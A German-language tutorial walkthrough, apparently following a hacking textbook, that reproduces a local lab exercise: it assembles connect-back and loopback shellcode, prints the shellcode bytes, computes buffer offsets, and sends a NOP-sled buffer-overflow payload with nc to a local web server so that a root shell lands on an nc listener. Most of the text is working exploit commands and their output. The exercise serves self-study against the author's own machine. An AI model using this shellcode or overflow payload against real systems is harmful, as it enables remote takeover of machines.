Macht euch erstmal eine Übersicht von eurer Netzwerkinterfaces

root@tomovic-Satellite-L300:~# ifconfig
eth0      Link encap:Ethernet  Hardware Adresse 00:1e:33:75:f5:f0 
          UP BROADCAST MULTICAST  MTU:1500  Metrik:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          Kollisionen:0 Sendewarteschlangenlänge:1000
          RX-Bytes:0 (0.0 B)  TX-Bytes:0 (0.0 B)

lo        Link encap:Lokale Schleife 
          inet Adresse:127.0.0.1  Maske:255.0.0.0
          inet6-Adresse: ::1/128 Gültigkeitsbereich:Maschine
          UP LOOPBACK RUNNING  MTU:65536  Metrik:1
          RX packets:83 errors:0 dropped:0 overruns:0 frame:0
          TX packets:83 errors:0 dropped:0 overruns:0 carrier:0
          Kollisionen:0 Sendewarteschlangenlänge:0
          RX-Bytes:7524 (7.5 KB)  TX-Bytes:7524 (7.5 KB)

wlan0     Link encap:Ethernet  Hardware Adresse 00:24:d2:3e:41:ce 
          inet Adresse:192.168.2.101  Bcast:192.168.2.255  Maske:255.255.255.0
          inet6-Adresse: fe80::224:d2ff:fe3e:41ce/64 Gültigkeitsbereich:Verbindung
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metrik:1
          RX packets:26 errors:0 dropped:0 overruns:0 frame:0
          TX packets:75 errors:0 dropped:0 overruns:0 carrier:0
          Kollisionen:0 Sendewarteschlangenlänge:1000
          RX-Bytes:3052 (3.0 KB)  TX-Bytes:13471 (13.4 KB)

Vorläufig setzt ihr eure wlan0 auf die folgende IP:

root@tomovic-Satellite-L300:~# ifconfig wlan0 192.168.42.72 up
root@tomovic-Satellite-L300:~# ifconfig wlan0
wlan0     Link encap:Ethernet  Hardware Adresse 00:24:d2:3e:41:ce 
          inet Adresse:192.168.42.72  Bcast:192.168.42.255  Maske:255.255.255.0
          inet6-Adresse: fe80::224:d2ff:fe3e:41ce/64 Gültigkeitsbereich:Verbindung
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metrik:1
          RX packets:43 errors:0 dropped:0 overruns:0 frame:0
          TX packets:99 errors:0 dropped:0 overruns:0 carrier:0
          Kollisionen:0 Sendewarteschlangenlänge:1000
          RX-Bytes:6559 (6.5 KB)  TX-Bytes:18779 (18.7 KB)

Achtung !!!

Ich habe mehrmals die letzen Seiten vom Shellkapitel lesen müssen, bis ich alles verstanden hatte.

Ihr benötigt 3 Terminals !!!
1. Webserver
2. Der nc, der auf eine eingehende Verbindung wartet.
3. Der Exploit, der auf den Webserver losgeht.

Jetzt startet ihr nc, wenn ihr den Kram uner Suse verwenden möchtet müsst ihr das -p verlassen

root@tomovic-Satellite-L300:~# nc -v -l -p 31337
Listening on [0.0.0.0] (family 0, port 31337)
Connection from [192.168.42.72] port 31337 [tcp/*] accepted (family 2, sport 43514)
…..wartet und wartet, geht bitte ins andere Terminal....
whoami
root
^C

DAS ANDERE TERMINAL !!!!!!!!!!!

root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# nasm connectback_shell.s
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# hexdump -C connectback_shell
00000000  6a 66 58 99 31 db 43 52  6a 01 6a 02 89 e1 cd 80  |jfX.1.CRj.j.....|
00000010  96 6a 66 58 43 68 c0 a8  2a 48 66 68 7a 69 66 53  |.jfXCh..*HfhzifS|
00000020  89 e1 6a 10 51 56 89 e1  43 cd 80 87 f3 87 ce 49  |..j.QV..C......I|
00000030  b0 3f cd 80 49 79 f9 b0  0b 52 68 2f 2f 73 68 68  |.?..Iy...Rh//shh|
00000040  2f 62 69 6e 89 e3 52 89  e2 53 89 e1 cd 80        |/bin..R..S....|
0000004e
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# wc -c connectback_shell
78 connectback_shell <---- ist identisch mit dem Buch
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# echo $(( 524 - (4*16) - 78))
382
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# gdb -q --batch -ex "p /x 0xbffff4c0 + 200"
$1 = 0xbffff588

Ihr müsst die Werte oben übernehmen und unten einfügen.

root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# (perl -e 'print "\x90"x382'; cat connectback_shell; perl -e 'print "\x88\xf5\xff\xbf"x20 . "\r\n"') | nc -v 127.0.0.1 80
Connection to 127.0.0.1 80 port [tcp/http] succeeded!
open
^C
Ok, in einem anderem Terminal
habt ihr dann eine bash.

Der Vergleich:

root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# diff connectback_shell.s loopback_shell.s
21c21,22
<   push DWORD 0x482aa8c0 ; Build sockaddr struct: IP Address = 192.168.42.72
---
>   push DWORD 0x01BBBB7f ; Build sockaddr struct: IP Address = 127.0.0.1
>   mov WORD [esp+1], dx  ; overwrite the BBBB with 0000 in the previous push
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack#


die Lösung A  mit Loopbackshell :

root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# nasm  loopback_shell.s
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# hexdump -C loopback_shell | grep --color=auto 00
00000000  6a 66 58 99 31 db 43 52  6a 01 6a 02 89 e1 cd 80  |jfX.1.CRj.j.....|
00000010  96 6a 66 58 43 68 7f bb  bb 01 66 89 54 24 01 66  |.jfXCh....f.T$.f|
00000020  68 7a 69 66 53 89 e1 6a  10 51 56 89 e1 43 cd 80  |hzifS..j.QV..C..|
00000030  87 f3 87 ce 49 b0 3f cd  80 49 79 f9 b0 0b 52 68  |....I.?..Iy...Rh|
00000040  2f 2f 73 68 68 2f 62 69  6e 89 e3 52 89 e2 53 89  |//shh/bin..R..S.|
00000050  e1 cd 80                                          |...|
00000053
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# wc -c loopback_shell
83 loopback_shell
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# echo $(( 524 - (4*16) - 83 ))
377
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# (perl -e 'print "\x90"x377';cat loopback_shell;perl -e 'print "\x88\xf5\x77\xbf"x16 . "\r\n"') | nc -v 127.0.0.1 80
Connection to 127.0.0.1 80 port [tcp/http] succeeded!

 

 

die Lösung B mit Loopbackshell :

root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# wc -c loopback_shell
83 loopback_shell
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# echo $((524 - 300 -83))
141
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# echo $((524 - 299 -83))
142
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# echo $((524 - 301 -83))
140
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# echo $((152 / 4))
38

Die Rücksprungadresse hat immer 4 Byte, deswegen habe ich herumgerichtet, bis ich auf eine Zahl gekommen bin, die ich durch 4 teilen kann.

root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# (perl -e 'print "\x90"x301'; cat loopback_shell; perl -e 'print "\x88\xf5\xff\xbf"x38 . "\r\n"') | nc -v 127.0.0.1 80
Connection to 127.0.0.1 80 port [tcp/http] succeeded!
^C

Jetzt solltet ihr eine Shell in eurem anderen Terminal haben, wenn nicht, dann habt ihr etwas falsch gemacht.

   

Jetzt c/c++ lernen  

   
© ALLROUNDER